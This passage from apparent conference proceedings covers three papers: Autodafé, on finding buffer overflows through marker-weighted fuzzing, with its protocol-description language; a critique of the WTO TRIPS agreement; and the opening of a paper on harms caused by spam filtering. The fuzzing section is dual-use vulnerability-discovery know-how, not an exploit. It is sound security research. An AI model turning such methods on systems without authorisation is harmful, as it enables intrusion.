bytes of memory space, the compiler will consider this action as allowed even if it will crash the program. This is known as a buffer overflow, since extra bytes of data are written after the allocated space of memory. 1 | 48 AUTODAFE - AN ACT OF SOFTWARE TORTURE Nowadays, the term buffer overflow has become synonymous with vulnerability or flaw, because it is sometimes possible to use buffer overflows to overwrite critical pieces of data in programs and take control of a process/computer. Poorly constructed software programs may have weaknesses such as stack overflows, heap overflows, integer overflows, off-by-one overflows, and format string bugs. For more information about buffer overflows, we recommend [9], [12], [17] and [19]. 1.2 Structure of this paper In this paper, we first explain in Section 2 how buffer overflows are currently discovered. We will present four different techniques, with their pros and cons. Section 3 then describes more precisely the technique of fuzzing or fault injection. Section 4 presents a more reliable approach by using a technique called “fuzzing by weighting attacks with markers”. We finally present a proof of concept of this technique, a tool called Autodafé which allows to automatically uncover an impressive number of buffer overflow vulnerabilities. 2 Uncovering buffer overflows Contrary to popular belief, it is nearly impossible to determine if vulnerabilities are being identified and disclosed at an increasing or decreasing rate. According to the CERT[5] the number of disclosed vulnerabilities each year is: 2000 1,090 2001 2,437 2002 4,129 2003 3,784 2004 3,780 2005 2,8741 Table 1: Number of disclosed vulnerabilities per year During the first semester of 2005, 15.75 vulnerabilities were disclosed every day. Approximately one third concerned buffer overflows. In order to uncover buffer overflows, roughly four techniques are used by automated tools. They follow chronologically the production of programs software. 2.1 Static Analysis 2.1.1 Automated Source Code Analysis Tools At the beginning, a program software is a source code. Functions in the standard C library such as strcpy do not perform automatically array-bound checks. Programs using these weak functions2 have the possibility to suffer from the buffer overflow vulnerability. By having access to the source code, an auditor is able to check if weak functions are used. Syntactic analyzers like RATS[18], Flawfinder[24] or Splint[23] can uncover these kind of vulnerability. 1 This is the number of disclosed vulnerabilities during the first semester of 2005 only. 2 printf, vprintf, vsprintf, wprintf, vwprintf, vswprintf, sprintf, swprintf, fprintf, fwprintf, getenv, strcat, strncat, strcpy, strncpy, stpcpy, memcpy, memccpy, bcopy, memmove, gets, system, popen, scanf, sscanf, fscanf, vfscanf, vsscanf, realpath, fgets, etc. 2 49 | In general, the current set of automated static analysis tools is lacking when it comes to uncover the relatively complicated vulnerabilities found in modern software. 2.1.2 Automated Binary Code Analysis Tools Sometimes source code is not available. Automated binary code analysis is still possible using machine language or dynamic library calls. Currently, there is no completely security oriented tool able to detect buffer overflows. Tools like Objdump[15] or APISpy32[21] give a list of the called functions, which can be unsafe. Generally, Most of the work is done by decompilers like IDA[7] and a long and hard manual work. 2.2 Dynamic Analysis 2.2.1 Automated Running Analysis Tools If the binary code is available, executing software programs can significantly reduce the work of an auditor. Indeed running programs software gives access to the reachable i.e. useful portion of code. Tools such as Valgrind[13] allow to highlight bad memory management: double freed, unfreed chunks of memory and calls of unsafe functions. Debuggers like GDB[16], Ollydbg[25], Strace[14], or Ltrace[6] are very efficient too, but they are not only security oriented and the work still close to a manual approach. 2.2.2 Fault Injection Fault injection or fuzzing is not completely independent technique. Fault injection is normally combined with automated running analysis tools in order to simulate the use of targeted programs software. The word fuzzing comes from fuzz[3], the first fault injection tool dedicated to uncover buffer overflows. This naive but efficient approach for finding buffer overflows is simply to supply long arguments or inputs to a program and see what happens. Fuzzers like Spike[2] and Peach[8] are both available for this task. Other tools like PROTOS[20] or Security Bug Catcher[22], much closer to fault injection than fuzzing are more complex. Using a complete description of a protocol and an automated finite state machine of the program, they are able to detect if sensible states like authentication can be avoided. Thus, if an authenticated procedure is avoided due to buffer overflow or design error, this kind of tool can detect it. Unfortunately, these tools must have a complete description of protocols and states of audited programs software which represents a hard and long manual work. 3 Fuzzing Black box testing with fault injection and stress testing i.e. fuzzing is an approach whereby an auditor uses sets of scripts designed to feed a program various inputs, different in size and structure. It is usually possible to specify how this input should be constructed and maybe how the tool should change it according to the program’s behavior. 3 | 50 AUTODAFE - AN ACT OF SOFTWARE TORTURE The first fuzzer fuzz[3], created in 1990 by Miller, Fredriksen and So, is basically a stream generator of random characters. It produces a continuous string of characters on its standard output file. Tested on ninety different utility programs on seven versions of UNIX, it was able to crash more than 24% of them. In 1995 Miller and Al[10]. revisited the experiment trying to categorize the cause of these failure and compared GNU software with commercial software. In 2000 Miller and Forrester[4] tried to fuzz thirty GUI-based Windows NT applications using stream generator and random Windows messages. They were able to crash 21% of these applications. Random testing can be considered too trivial to be reliable. Indeed, programs software use protocols. E.g. ssh servers intend to receive at the beginning a version string: SSH-1.99-openSSH_4.2 If the fuzzer is only able to send random characters, the probability to obtain a valid version string which passes the check is close to zero. In a paper[1] published in 2002, Dave Aitel describes an effective method, called Block-Based Protocol Analysis, implemented in Spike[2], the most used fuzzer. Protocols can be decomposed into length fields and data fields: consider the case where an auditor wants to send a long character string to a web server, it is not enough to simply modify a captured request by replacing a variable with a longer string. The auditor must also update the Content-Length field in the HTTP header (POST). Block-Based Protocol Analysis allows the auditor to create blocks of data binded to length variables. Thus if the size of a block of data is modified, due to string substitution, the fuzzer is able to recalculate the correct size and send a request with a correct length value3 . Moreover, this technique permits a complete description of protocols, delimiting fixed strings and variables. With a block-based description of protocols, fuzzers can drastically reduce the size of the potential space of inputs. 3.1 Potential Space of Inputs The cardinality of the potential space of inputs defines the complexity of fault injectors: fuzzers basically substitute variables for smaller, bigger and malformed strings or values. By using a random character string generator, Fuzz owns an infinite potential space of inputs. In order to reduce the complexity, most advanced fuzzers combine three techniques: Partial description of protocols. In order to omit useless tests. See ssh example above. Block-Based protocols analysis. This technique permits to recalculate length fields after substituting data. See HTTP example above. Library of substituted strings or values. Substituting variables with random values is irrelevant. By using a library of finite substituted strings or values drastically reduces the size of the potential space of inputs. E.g. 3 Sending a request with a wrong size can highlight vulnerabilities called Integer overflows. Fuzzers should be able to test this kind of flaw too. 4 51 | in order to highlight format string bugs, only a few character strings are tested, containing all the interpreted sequences4 Thus, the complexity of a fuzz test can be defined by the number of substitution: Complexity = LF Where L is the number of substituted strings or values contained in the library and F is the number of fuzzed variables. Spike uses a library with 681 entries in version 2.9 but for deep analysis, the number of entries in the library of substituted strings or values should be much bigger (dozens of thousands). Although these optimizations increase the efficiency of fuzzers, the size of the potential space of inputs still needlessly wide. In order to affect the complexity, both L and F can be reduced. Bringing down the size of the library of substituted strings or values L is not relevant. Each entries in L is based on the discovery of a buffer overflow. Omitting entries can make the fuzzer less effective. However, limiting or arrange the fuzzed variables F could dramatically reduce the complexity. 4 Weighting Attacks with Markers Technique This technique is used to reduce the complexity of fuzzers. If L is composed of dozens of thousands entries, removing one input in F is profitable. So, if an auditor has access to the program software (grey-boxing), he can use tracers or debuggers to obtain more information for his fuzzing. Definition 1 (Tracer) A tracer is a debugger able to list every dynamically called function of a program software. By combining runtime analysis tool with fuzzer, it is possible to know when unsafe functions like strcpy are used. Moreover if a vulnerability is discovered, debug functions can be used to detail the cause. Definition 2 (Marker) Using unsafe functions is critical when theirs arguments can be modified/controlled by users. Every character string or value controlled by users (locally or remotely) is considered as a marker. 4.1 Procedure Basically, the paradigm is to analyze automatically how markers are used by the targeted program software. If a marker i.e. a controlled string or value, is used as an argument by a unsafe function, its weight increases. Then markers are tested according to theirs weight. 1. A partial description of the audited protocol is given to the fuzzer using a block-based protocol language. Every canonical element is considered as a marker. 2. The fuzzer uses this description to simulate a normal (previously captured) communication with the targeted program software. 4 Interpreted sequences are used by libc functions like printf to describe printable arguments. For example, strings are defined by “%s” and integers by “%d”. 5 | 52 AUTODAFE - AN ACT OF SOFTWARE TORTURE 3. The tracer receives from the fuzzer a list of markers and runs the targeted program software. 4. The tracer analyses the execution of the targeted program software in order to detect if unsafe functions use markers. 5. If a marker is used by unsafe functions, the tracer gives a bigger weight to the marker and communicate its results to the fuzzer. 6. According to the weight of markers, the fuzzer classify which markers should be tested. Markers which do not use vulnerable functions are not fuzzed during the first pass. 7. If a fuzzed variable causes a buffer overflow, the tracer gives to the auditor additional information about this vulnerability. By reducing the cardinality of F – the fuzzed variable space – and by ordering it, the complexity is drastically declined. 5 Autodafé In this section, we present an implementation of the fuzzing by weighting attacks with markers technique. 5.1 Block-Based Protocol Description Language The block-based language used to describe protocols contains these functions: string(‘‘dummy’’); /* define a constant string */ string_uni(‘‘dummy’’); /* define a constant unicode string */ hex(0x0a 0a \x0a); /* define a hexadecimal constant value */ block_begin(‘‘block’’); /* define the beginning of a block */ block_end(‘‘block’’); /* define the end of a block */ block_size_b32(‘‘block’’); /* 32 bits big-endian size of a block */ block_size_l32(‘‘block’’); /* 32 bits little-endian size of a block */ block_size_b16(‘‘block’’); /* 16 bits big-endian size of a block */ block_size_l16(‘‘block’’); /* 16 bits little-endian size of a block */ block_size_8(‘‘block’’); /* 8 bits size of a block */ block_size_8(‘‘block’’); /* 8 bits size of a block */ block_size_hex_string(‘‘block’’); /* hexadecimal string size of a block */ block_size_dec_string(‘‘block’’); /* decimal string size of a block */ send(‘‘block’’); /* send the block */ recv(‘‘block’’); /* receive the block */ fuzz_string(‘‘dummy’’); /* fuzz the string ‘‘dummy’’ */ fuzz_string_uni(‘‘dummy’’); /* fuzz the unicode string ‘‘dummy’’ */ fuzz_hex(0xff ff \xff); /* fuzz the hexadecimal value */ With these functions it is possible to reproduce almost every binary-based or string-based protocol. Writing protocol descriptions is a hard manual task. In order to help auditors Autodafé uses a tool called adc which verifies the syntax of the script and convert correct files in a specific format. Moreover, the Ethereal[11] protocol recognition engine is used by the tool pdml2ad to 6 53 | automatically recover 530 existing protocols by capturing legitimate communications: E.g. this is the automatically recovered description of the first packet sent during a ssh connection using the autodafe language script: block_begin(‘‘packet_1’’); // name : ssh.protocol // showname: Protocol: SSH-1.99-OpenSSH_4.2\n // show : SSH-1.99-OpenSSH_4.2\x0a // size: 21 string(‘‘SSH-1.99-OpenSSH_4.2’’); hex(0a); /* \n */ block_end(‘‘packet_1’’); recv(‘‘packet_1’’); /* tcp */ The autodafe language script is not only able to describe network based protocols but also file formats like pdf, gif, jpeg, bmp, MS-Word, Postscript, etc. 5.2 The fuzzer The fuzzer engine, called autodafe is connected to a tracer adbg by using a TCP connection. Together, they can send fuzzed variables according to a modifiable substituted strings and values library and implement the technique of fuzzing by weighting attacks with markers. Both Microsoft Windows based and Unix based versions of the tracer are available. 5.3 Results By using this technique we were able to uncover eighty known buffer overflows in modern software and 865 new unreleased buffer overflows. More information about the results will be given during the talk. 6 Conclusion In this paper we have presented techniques used to uncover automatically buffer overflow vulnerabilities. In particular we have detailed fault injection or fuzzing – i.e. insertion of malformed data into input files, buffer or protocol packets. We have defined the complexity of these automated tools and the most advanced techniques used to reduce it. We have presented an innovative buffer overflow uncovering technique, called “fuzzing by weighting attacks with markers”, which uses a more thorough and reliable approach, by combining a runtime analysis tool with a fuzzer. As a proof of concept of the efficiency of this technique, a tool called Autodafé has been developed which is able to detect an impressive number of buffer overflow vulnerabilities. 7 Acknowledgments We thank all the Security Group of the Computer Laboratory of the University of Cambridge, especially Markus G. Kuhn and Steven J. Murdoch. We would also thank Serge Vaudenay and Philippe Oeschlin from the Swiss Federal Institute of Technology (EPFL) - LASEC. 7 | 54 AUTODAFE - AN ACT OF SOFTWARE TORTURE References [1] Dave Aitel. The advantages of block-based protocol analysis for security testing, 2002. http://www.immunitysec.com/resources-papers.shtml. [2] Dave Aitel. Spike, 2003. http://www.immunitysec.com/resources-freesoftware.shtml. [3] Bryan So Barton P. Miller, Lars Fredriksen. An empirical study of the reliability of unix utilities, 1990. http://www.cs.wisc.edu/ bart/fuzz/fuzz.html. [4] Justin E. Forrester Barton P. Miller. An empirical study of the robustness of windows nt applications using random testing, 2000. http://www.cs.wisc.edu/ bart/fuzz/fuzz.html. [5] CERT. Cert/cc statistics 1998-2005, 2005. http://www.cert.org/stats. [6] Juan Cespedes. Ltrace, 2005. http://packages.debian.org/unstable/utils/ltrace.html. [7] Datarescue. Ida, 2005. http://www.datarescue.com. [8] Michael Eddington. Peach, 2005. http://www.ioactive.com/v1.5/tools/index.php. [9] Jon Erickson. Hacking: The Art of Exploitation. No Starch Press, 2003. [10] Barton P. Miller et al. Fuzz revisited: A re-examination of the reliability of unix utilities and services, 1995. http://www.cs.wisc.edu/ bart/fuzz/fuzz.html. [11] Gerald Combs et al. Ethereal - the world’s most popular network protocol analyzer, 2005. http://www.ethereal.com. [12] Jack Koziol et al. The Shellcoder’s Handbook. John Wiley & Sons, 2004. [13] Julian Seward et al. Valgrind, 2005. http://www.valgrind.org. [14] Paul Kranenburg et al. Strace, 2003. http://www.liacs.nl/ wichert/strace/. [15] GNU. Objdump, 2004. http://www.gnu.org/software/binutils/. [16] GNU. Gdb, 2005. http://www.gnu.org/software/gdb/gdb.html. [17] Gary McGraw Greg Hoglund. Exploiting Software: How to Break Code. Addison-Wesley Professional, 2004. 8 55 | [18] Secure Software Inc. Rats - rough auditing tool for security, 2002. http://www.securesoftware.com/rats/rats-2.1.tar.gz. [19] Nish Balla James C. Foster, Vitaly Ospinov. Buffer Overflow Attacks: Detect, Exploit, Prevent. Syngress, 2005. [20] Rauli Kaksonen. Protos - security testing of protocol implementations, 2002. http://www.ee.oulu.fi/research/ouspg/protos/. [21] Yariv Kaplan. Apispy32, 2002. http://www.internals.com/utilities main.htm. [22] Philippe Oechslin. Security bug catcher, 2004. http://lasecwww.epfl.ch/ oechslin/projects/bugcatcher/. [23] Department of Computer Science Secure Programming Group, University of Virginia. Splint - a tool for statically checking c programs, 2003. http://www.splint.org. [24] David A. Wheeler. Flawfinder, 2004. http://www.dwheeler.com/flawfinder/. [25] Oleh Yuschuk. Ollydbg, 2005. http://www.ollydbg.de/. 9 | 56 Bad TRIPs What the WTO Treaty did in Hongkong and what that means for us Julian 'hds' Finn, Oliver Moldenhauer 57 | Bad TRIPs What the WTO Treaty on intellectual property did in Hongkong and what that means for us Since the founding of the WTO (World Trade Organization) in 1995 all WTO members are also parties to the TRIPS agreement on intellectual property. The TRIPS (Trade-Related Aspects of Intellectual Property Rights) regulates minimum standards of intellectual monopoly rights for all its members. These standards go far beyond what was common in most developing countries before the agreement, so that they are forced – after different transition periods - to enshrine the privatisation of knowledge and bio diversity in national law. In 2005, India, for example, had to enact a patent law that allows the patenting of pharmacological agents. This is overviewed by WTO-panels, threatening of million-dollar punitive tariffs. Where is the Problem? The TRIPS-Agreement enforces the strengthening of intellectual monopoly rights one sided towards knowledge-production and breeding. Beyond that it practises a massive privatisation of knowledge, mostly into the hands of corporations of the global north. On the other hand, other possibilities of research, breeding and development are obstructed by the TRIPS, as stronger intellectual monopoly rights interfere with exchange and transfer of knowledge. Net Payments of the Countries with low and medium Income for Royalties and License Fees 9.5 9.32104326479802 9 8.57782143401762 8.10472286347713 8.5 8 7.5 7 6.64775505367377 6.5 6 Bn. US-Dollar 5.5 4.71536122401872 4.68766822697968 5 4.5 4 3.5 3.18002287725881 2.87052085083153 2.78091023038217 3 2.5 2 1.5 1.59465628500704 1 0.5 0 1993 1994 1995 1996 1997 1998 1999 2000 2001 Fig. 1 The effects of strong patent protection are measurable with licensing fees and royalties: According to world bank data, in 2002 the poorer countries had to pay 9.3 Bn Dollars more fees towards countries with higher income than they received. | 58 2002 BAD TRIPS The TRIPS is especially harmful for the Global South: technology transfer into the south is more complicated. This obstructs local development processes. For many industrial countries today the reproduction of technical products was an important method in order to catch up with technological development. Neither Japan nor Korea, Germany or the USA could have reached the technological standards they have now with todays patent law conditions. TRIPS also regulates copyright laws: the minimum term of copyright lasts until 50 years after the death of the author. It also regulates the limitations of copyright such as fair use. This is especially problematic for developing countries struggling to provide access to knowledge for their citizens, such as school books. The history of TRIPS always applied double standards. While thousands of people had to die of AIDS in south Africa due to a year-long lawsuit of US-American and European pharmaceutical corporations, the US reacted quite quickly, facing a possible Anthrax-epidemic with the threat to break Bayer's patent on Ciprofloxacin, referring to the state of emergency regulations. The impact of a strong patent protection are particularly evident when it comes to pharmaceuticals. Patented medicine is not affordable for most of the people in the south. Even though the TRIPS-agreement offers the possibility to produce cheap generics under certain circumstances, this is only possible in emerging nations that have their own pharmaceutical industry capable of producing these drugs. Therefore this hits the poorest countries especially hard, as they have to import these generics. The debate on how and when countries without an own pharmaceutical industry (e.g. Ruanda) are allowed to import generics is still going on. In 2003 a declaration was adopted that theoretically allows the import of such generics, though the threshold for this procedure is so high that it hasn't been used since. The contract text itself hasn't been changed. Farmers are also affected by the TRIPS: A hard seed protection for plants is now also dictated on developing countries. The TRIPS pressurizes countries to allow the patenting of genetically modified seeds. Patents further restrict the usage of seeds. For example the Canadian farmer Percy Schmeiser was convicted because genetically modified seeds were found on his land. The patents for these seeds belong to the US Corporation Monsanto and he hadn't paid licensing fees, as the seeds were blown from neighboring fields onto Schmeiser's own by the wind and against his will. In the last decades the lobbies of corporations have successfully extended the patenting possibilities so that it is nowadays possible to patent genetic sequences and micro organisms. Lobbies also tried to make the patenting of algorithms and business practises possible with the so-called software patenting directive. One of the main arguments of the organisations lobbying for the directive was the TRIPS that regulates the patenting of technical inventions. However, this is fortunately not right: The TRIPS does not mention software patents and it is a common opinion that Software does not fall under technological inventions. If the EU adopts software patents, this might change though: The EU could possibly impose its opinion on TRIPS towards developing and emerging countries, forcing them to also adopt software patenting laws. (Which India, for example, so far refused to do.) But TRIPS also patronises such things as so-called bio-piracy, meaning that corporations acquire genetic resources and traditional knowledge that has been used for centuries in southern 59 | countries. Some examples for the attempts of bio piracy are the patent applications on Basmati and Jasmine Rice, the Neem-Tree (for the extraction of anti-biotics), Cupuacu, Mexican Corn (with a very high percentage of oil) and the Hoodia Cactus for slimming products. (As seen in your favorite spam-mail). What did the WTO effect through TRIPS? Bio diversity and knowledge are transferred from a public into a private good through the TRIPS-Agreement. Human rights are subordinated under an agreement which benefits mainly transnational corporations whose power are strengthened and whose profits are increased. In the 1994 WTO and TRIPS negotiations industrial countries used their economic and political power of to impose strong intellectual monopoly rights onto developing and emerging countries. Now, ten years later, more and more parts of the TRIPS agreement have to be enacted into national law in emerging an developing countries, and especially the larger emerging countries such as Brazil and India are starting to demand their rights back. The TRIPS is (fortunately) becoming a more and more controversial agreement a lot of states were fooled into. Therefore many NGOs demand:  The abolishment of the TRIPS-agreement. Every country must be able to determine its own standards for intellectual monopoly rights independent from the WTO  No patents on life  Free access to seeds and medicine in the countries of the Global South.  The development of alternative international agreements to support innovation and breeding. TRIPS in Hong Kong Just a few days before the 22C3 congress the TRIPS agreement (and weeks after the printing of this paper) was part of the WTO meeting in Hong Kong. Two of the most important issues that are likely to be discussed in Hong Kong are: Import of pharmaceuticals Especially African countries demand easier possibilities to import generics. They also demand this to be put into the text of the agreement. The USA, EU, Canada and especially Germany oppose to this proposition. Bio piracy India and other countries demand that patents can only be granted if the origin of the plants and animals leading to an invention are clearly disclosed. This would make it much easier to fight against bio-piracy-patents. The EU and the USA are against this proposition. | 60 BAD TRIPS Extension of the transition periods Zambia demands the extension of the transition periods towards the introduction of the TRIPS in the least developed countries (LDCs) up to 2020. The current development looks as they might reach a decision, where an extension until 2013 might be decided. (With patents on drugs being compulsory after 2016 in the LDCs.) Unfortunately, a complete overhaul of TRIPS to get an agreement that is more friendly towards development and the knowledge commons is not very likely to occur in the official negotiations in Hong Kong. NGOs and activists however will be pushing this agenda and discuss it during many of the side events during the counter summit in Hong Kong. 61 | COLLATERAL DAMAGE Collateral Damage Consequences of Spam and Virus Filtering for the E-Mail System Peter Eisentraut 63 | Collateral Damage Consequences of Spam and Virus Filtering for the E-Mail System Peter Eisentraut credativ GmbH peter.eisentraut@credativ.de Abstract This paper takes a critical look at the impact that contemporary spam and virus filter techniques have on the stability, performance, and usability of the e-mail system. 1 Introduction This is the year twelve of the Spam era.1 By most counts, more than half of the current e-mail traffic on the Internet is due to spam or e-mail-borne viruses [1]. The computing community has constructed an impressive toolkit of anti-spam and anti-virus measures which most regular e-mail users apply or have applied on their behalf lest they be bombarded with e-mail junk. This is also the year twenty-four of the SMTP e-mail era.2 The “simple mail transfer protocol” nowadays governs virtually all electronic mail communication on IP networks, having obsoleted several alternative protocols over the years. Two important properties of SMTP were simplicity—it was easy for heterogeneous systems to participate in the message exchange—and reliability—it was ensured that messages would be delivered or the delivery failure be reported. But a more thorough consideration will reveal that a strict SMTP implementation alone no longer stands a chance to participate successfully in the e-mail network of today. There are additional protocols and conventions stacked on top of it that are the result of the behavior of spam filters, virus scanners, and other defense mechanisms. The behavior of these systems is not codified anywhere, it varies between sites and over time, and the existence is usually not even announced. Users of this network of hosts of ill-defined protocol conventions, mutual distrust, and hostility are faced with a new set of challenges to get their e-mail through. This paper analyzes these problems. 2 Filtering Techniques Most sites that want to stand a chance to participate reasonably in the e-mail exchange equip their mail servers with a number of filter routines to weed out junk e-mail. While this is an unfortunate fact, it is clear that running a mail server without spam and virus filters is no longer feasible today. Not all filtering 1 Legend has it that the first spam was sent in 1994 [1]. 2 RFC 821 appeared in 1982. 1 | 64 COLLATERAL DAMAGE techniques, however, have equal merit. Some have lost their impact over the years, some are frequently misconfigured, and some simply cause more harm than good. This section will show a number of e-mail filtering techniques that have shown to be troublesome. 2.1 DNS Blackhole Lists DNS blackhole lists (DNSBL) were the first technique invented specifically to fight junk e-mail [1]. Lists of hosts, first IP addresses, later also host or domain names, that have appeared in connection with junk e-mail are published via the DNS system. Mail servers all over the Internet can query these lists to reject connections from hosts that are known to send out (or relay) spam. The first public DNSBL, the MAPS Realtime Blackhole List (RBL), had a rather strict policy for adding entries. Nominations were inspected manually, nominated sites were contacted and given a chance to react to the problem before a listing would be added. If you thought that MAPS was a trustworthy organization, you could sensibly block e-mail from all hosts listed at MAPS. Two things have happened in the meantime. First, the MAPS RBL no longer exists as a free service. At first, access was restricted to paying customers, and later the entire operation was bought by Kelkea, Inc., which in turn has been bought by Trend Micro in the meantime [2]. There are now dozens of alternative DNSBL providers available. Second, both the Internet and the spam problem have grown significantly. It is no longer manageable to inspect all listing nominations manually. Therefore, most of the current DNSBLs rely on some kind of automatic listing (and delisting) process. This leads to some problems: • Temporary misconfigurations are not treated discriminatorily. They can cause immediate listings which are slow to be removed. This way, the entire customer bases of large ISPs are occasionally blocked. • Most spam nowadays is sent over dial-up accounts. The IP address of a dial-up account changes every day or so. A blacklist maintained over DNS, which typically has a propagation delay of approximately one day, is therefore useless for tracking rogue dial-up accounts. The RBL was as much an education program as it was a spammer blacklist. At that time, Sendmail was the dominating MTA program on the Internet and it was unfortunately configured as an open relay by default. Nowadays, all common MTA products are secure against relaying by default, so if there is a configuration problem it is more or less intentional. The problem is that most of the junk e-mail is no longer sent via common MTAs but via zombies behind dial-up accounts. These points do not mean that DNSBLs are useless. An open relay is an open relay after all. And scanning the e-mail body for mentions of listed host names (URLBLs) has shown itself to be useful. It means, however, that the correlation between a DNSBL listing and an actual junk mail problem is no longer strong. If the purpose of DNSBLs is to fight junk mail, rather than to push through agendas about proper system configuration, DNSBLs can no longer by universally trusted. Therefore blocking e-mails simply because of a DNSBL listing is not appropriate anymore. Countless reputable sites on the Internet continue to do that nevertheless. 2 65 | If one considers a DNSBL listing to indicate an increased likelihood that the sending host may be connected to a junk e-mail problem, then factoring in this likelihood with other spam indicators, as is done in weighted scoring systems such as in SpamAssassin, continues to be useful. An additional point is that DNS as a protocol is not secure. It is fairly easy to influence the system in such a way that a user is presented with wrong information. This could be used by criminally minded parties to launch denialof-service attacks by presenting faked DNSBL listing data to an e-mail receiver, or to bypass DNSBLs by hiding such listing data. While this has not been an actual problem to any noticeable degree so far, building reputation services on DNS still presents a potential trouble spot. 2.2 Bounce Messages In the old days, it worked like this: Host A wants to transmit an e-mail message to host B. Host B checks whether the message is acceptable, then acknowledges the receipt or sends a rejection message. As spam and virus filtering became more important, the acceptability checking became more and more involved, to the point that host A started to time out before host B could finish the checks. So in the new days, it works like this: Host A wants to transmit an e-mail message to host B. Host B immediately accepts that message (after a minimum of checking). Later, host B checks whether the message is acceptable. If it’s not, then host B sends an e-mail to inform the original sender that the message was rejected. This is in principle already a protocol violation, but would rarely have any practical impact for the end users. The problem is that once host B has (apparently) accepted the message, host B no longer has any reliable information about the original sender of the e-mail message. As long as the connection to host A is still open, sending the error to host A is a good bet for reaching the sender. (Granted, in complex relay schemes, host A might be just as much at a loss about the original sender as host B, but ordinarily, host A is the mail server at the ISP of the sender and therefore has a pretty good idea about where the message came from.) But the sender address in the envelope or the content could be the actual sender, or it could be misconfigured, or it could be deliberately faked, as would be the case for spam, so that after the connection is closed, the sender cannot be reached anymore. In other words, the new days approach does not work. So what to do? One popular course of action is to ignore the problem and send the rejection messages anyway. Even popular open-source e-mail filter packages like Amavisd-new [3] continue to ship with a default configuration to that effect as of this writing3 . Assuming that most junk e-mail uses fake sender addresses, and assuming further that the spam and virus filters are reasonably accurate and have few false positives, then almost all of these rejection messages go to the wrong person. Given that at least 50% of all e-mails are junk emails, and assuming that filters detect at least 80% thereof, if only one in ten sites would enable these rejection messages, e-mail traffic on the Internet would rise by about 5%. Add to that the impact that these misguided rejection messages have on their actual recipients, this mechanism is not only useless, both for the senders and the recipients, but wastes “common” Internet resources, 3 version 2.3.3 3 | 66 COLLATERAL DAMAGE and is hostile to innocent users. This has in turn led to a wave of anti-antispam measures that stop the bogus bounces, and some users now reject bounces altogether, further reducing the reliability of e-mail communication. People who really trust their filters then simply discard messages classified as junk e-mail without any notice. But this approach is rarely appropriate. Putting suspected junk messages in a quarantine area for manual inspection works reasonably well on balance, but is hardly manageable in larger organizations [1]. There are also significant privacy concerns with this approach. What is rarely considered is that the two problematic factors in the old days approach should simply be fixed. First, SMTP clients that time out too fast: Fixing the actual e-mail client programs would be hard to achieve because that end of the bargain is influenced by unresponsive manufacturers and inexperienced users. Most of the time, however, the client in these transactions is another MTA program, which can easily be reconfigured to support longer timeouts. Second, checking the message on the receiving host takes too long: The internals of many of the e-mail filtering applications are quite frankly a mess. Assembled during a period where new filtering techniques appeared by the week, they lack proper design, are overloaded with features, and consequently do not perform well. More robust and streamlined implementations could easily outperform the toolkits of today to make e-mail filtering at the point of delivery possible again. 2.3 Greylisting The amazing fact about greylisting is that it still works at all. Greylisting relies on the fact that spamming software and in particular mailing software installed on zombies, does not retry sending after receiving a temporary failure reply from the recipient. Greylisting is extremely effective; in my experience it can block between 80% and 90% of all junk e-mail. The reason why so few spamming software makers have reacted and added a sending queue to their software can only be assumed to be that so few sites use greylisting. The problem with greylisting is not so much that is hinders the e-mail traffic—the delay is usually about 15 minutes and the additional traffic is minimal—but that it’s easy to get the configuration wrong: • The concept sounding so simple, many of the early greylisting implementations are hack jobs that break easily and are full of security holes. • Distributing the mail server load on more than one machine causes various kinds of problems: – If it is done on the sender side, each new delivery attempt will appear to come from a different IP address which will again be greylisted. This can usually be circumvented by greylisting not the IP address but, say, the entire class C network. – If the load spreading is done on the server side, it is important that the greylisting database is shared between all nodes, otherwise the client is greylisted again if the next delivery attempt is serviced by a different node. 4 67 | • A number of sites do not have well-functioning SMTP server implementations that schedule a new delivery attempt if the first one failed with a temporary error [4]. A list of these sites needs to be collected and whitelisted. • Some mailing list software sends out each e-mail with a unique sender address [4]. Such sites can only be reasonably greylisted if the sender address is not part of the lookup key. • If users are expecting time-critical e-mails (say, from Internet auctions), then they need to be whitelisted. If this is unmanageable, greylisting cannot be used. • If more than one hop in the delivery chain is configured to use greylisting, the delivery time grows superlinearly. This should be avoided. Even though the concept sounds simple, a properly functioning greylisting implementation for a mail server that is to service many different kinds of users is very difficult to get right. It is better to stay away from it if the user population is too diverse. 2.4 SPF The Sender Policy Framework (SPF) [5] and its cousin Sender ID [6] are two more recent developments in the fight against spam. The owner of a domain announces through a DNS record over which hosts e-mail from that domain is allowed to be sent. If a recipient gets e-mail from that domain over a different host, the e-mail should, under the SPF theory, be rejected. The snail mail analogue of SPF would be the post office saying that letters with return addresses in Berlin may only be dropped in mailboxes in Berlin. (Note that this does not offer any satisfactory explanation for what return address to write if you send a postcard while on vacation in Hamburg.) SPF does not, in fact, hinder much of any spam. SPF could only work if all or at least most sites on the Internet used it. Otherwise, spammers who wish to equip their spam with fake sender addresses can simply pick a domain which does not publish SPF records. This can obviously be automated with ease, so spammers are not bothered by SPF at all. Even if all reputable sites on the Internet used SPF, new domains are a dime a dozen. The actual junk mail fighting task would then be to quickly identify those domains and publish a list of them, but DNS Blackhole Lists already do that. SPF is also supposed to prevent phishing. Note, however, that SPF only checks the envelope sender address, which most end users of e-mail never see at all, so the usefulness of SPF against phishing is nearly zero. The related approach Sender ID works similar to SPF but checks the Purported Responsible Sender (PRS) address instead, which is taken from the headers of the e-mail contents. This is the address that e-mail users do see, so Sender ID does seem useful against phishing. But Sender ID has not reached widespread acceptance because it is patent encumbered and has a restrictive license [1]. What SPF does prevent to some degree is that a certain domain is abused as a fake sender address in junk e-mail. Note that the SPF web site [5] is titled, “A Sender Policy Framework to Prevent Email Forgery” (my emphasis). It doesn’t 5 | 68 COLLATERAL DAMAGE prevent it, of course, but it does reduce it. One might suspect that this is the actual reason why certain ISPs apply this technique. On the flip side, SPF breaks the e-mail protocols. Forwarding no longer works, because the forwarding host might not be registered as a valid sending host for the domain. The Sender Rewriting Scheme (SRS) is supposed to fix that but has not been widely implemented. Users are locked into the mail servers of their e-mail providers. If the mail server is misconfigured (see section 2.1 for an example) or unavailable (see section 2.5 for an example), the user cannot send e-mails anymore. People who have their own e-mail domains are faced with a new set of issues: Does the domain hoster publish SPF records? Is the domain owner able to publish their own SPF records? Is the domain owner forced to set up his own mail server, or alternatively, is that option available? Moreover, SPF relying on DNS as the distribution protocol, it is susceptible to the same security problems as DNSBLs, explained in 2.1. To summarize, SPF is a means for large ISPs to control how users route their e-mail, it creates a number of problems for ordinary e-mail users, but does not solve any actual problems for them. 2.5 Blocking Port 25 Initially, spam was send through ordinary ISP mail servers. When spam began to be frowned upon, spammers sought out mail servers with insecure configurations. As those disappear, spam is nowadays mostly sent through so-called zombies, ordinary PCs that have been taken over by a 